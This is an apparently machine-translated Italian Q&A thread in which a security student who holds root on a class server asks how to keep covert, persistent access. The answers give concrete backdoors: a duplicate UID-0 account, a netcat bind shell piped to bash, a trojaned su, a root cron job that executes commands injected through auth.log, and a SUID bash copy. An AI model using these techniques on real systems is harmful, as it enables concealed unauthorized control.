Come faccio a creare un utente invisibile e persistente su linux?

8

Per la mia classe di sicurezza del software ci viene richiesto di hackerare in un server creato dal nostro professore. Ho violato il server e ho la password per l'utente root.

Ora che sono root, vorrei assicurarmi di avere accesso permanente al server. L'ipotetico proprietario del server scoprirà facilmente che ho preso il controllo abbastanza rapidamente.

C'è un modo per garantire l'accesso permanente al server con i privilegi di root sotto un nuovo utente 'invisibile' che posso creare. Sarebbe gradito qualsiasi altro metodo per mantenere accesso coerente e non rilevato al server.

    
posta DanielPahor 12.03.2018 - 17:20
fonte

3 risposte

3

Dipende piuttosto da cosa intendi per "invisibile".

Non è davvero possibile modificare il comportamento del sistema e non lasciare tracce rilevabili. Tutto quello che puoi fare è rendere più difficile trovare quelle tracce. All'estremo opposto della scala è possibile compilare un modulo del kernel in grado di nascondersi che ha un'interfaccia di nuovo nello userspace, anche se questo è tutt'altro che banale. All'altra estremità della scala è possibile aggiungere un alias per un utente esistente a / etc / passwd e / etc / shadow, ad es.

     root:x:0:0:root:/root:/bin/bash
     toor:x:0:0:root:/root:/bin/bash

     root:$1$WXYZabc4:17158:0:99999:7:::
     toor:$1$ABCxyz12:17158:0:99999:7:::

(il tuo obiettivo userà un'implementazione di crypt più recente e prolissa). Questo è visibile nei file interessati.

Potresti scandagliare una shell direttamente nella rete con netcat o [x] inetd

 nc -l -p 8282 | bash

... anche se questo è piuttosto ovvio e apparirà in netstat e ps.

Potresti aggiungere una shell a un utente di sistema esistente e impostare una password, quindi per sfruttare l'accesso privilegiato avresti bisogno di un programma setuid. Sicuramente sai già che l'impostazione del bit setuid su uno script non funzionerà, quindi forse una versione modificata di su che salta pam per il tuo nome utente magico. Non lasciarlo cadere in / bin - sovrascrivere un programma setuid esistente che si ritiene sia improbabile da utilizzare (ad esempio ping6). Verrà comunque visualizzato in tripwire o ossec.

Un modo divertente sarebbe identificare da qualche parte dove è possibile scrivere i dati senza autenticare e impostare un processo cron come root per estrarre stringhe ed eseguirle come root (il seguente è volutamente semplificato):

 #!/bin/bash

 tail -100 /var/log/auth.log | \
 awk '/Failed password for gangsta/ {
       split($0, out, "gangsta|from");
       print out[1] "\n";
      }' >/tmp/myscript
 . /tmp/myscript
 rm -f /tmp/myscript

... di nuovo questo potrebbe essere rilevato da un ID host e fare attenzione a che cron invia agli utenti l'output dei loro lavori, a meno che non lo sovrascrivi nel file cron.

    
risposta data 12.03.2018 - 23:38
fonte
2

Is there a way to ensure persistent access to the server with root privileges under a new 'invisible' user I can create

Ce ne sono molti, ma un modo più semplice sarebbe, ad esempio, backdoor del binario SSH (non rilevabile; rkhunter , tripwire ecc. mostreranno tutti qualcosa che non va). O una qualsiasi delle sue librerie, ad esempio PAM . Quindi puoi sempre rientrare come root.

Se il sistema è correttamente indurito, avrai bisogno di un "vero" rootkit, fino a Blue Pill .

    
risposta data 12.03.2018 - 17:43
fonte
2

Dipende molto dalla tua vittima. Un'idea semplice e potenzialmente efficiente: se si dispone di un accesso non root (e si presume che non lo perderà), si potrebbe provare a copiare alcuni file eseguibili (ad es., / Bin / bash) e impostare il bit SUID. Naturalmente, si potrebbe cercare eseguibili SUID di proprietà della radice, ma questo non dovrebbe destare un sospetto a prima vista.

Suppongo che sia il tuo caso, mentre usi tag dirty-cow. ☺

    
risposta data 12.03.2018 - 19:45
fonte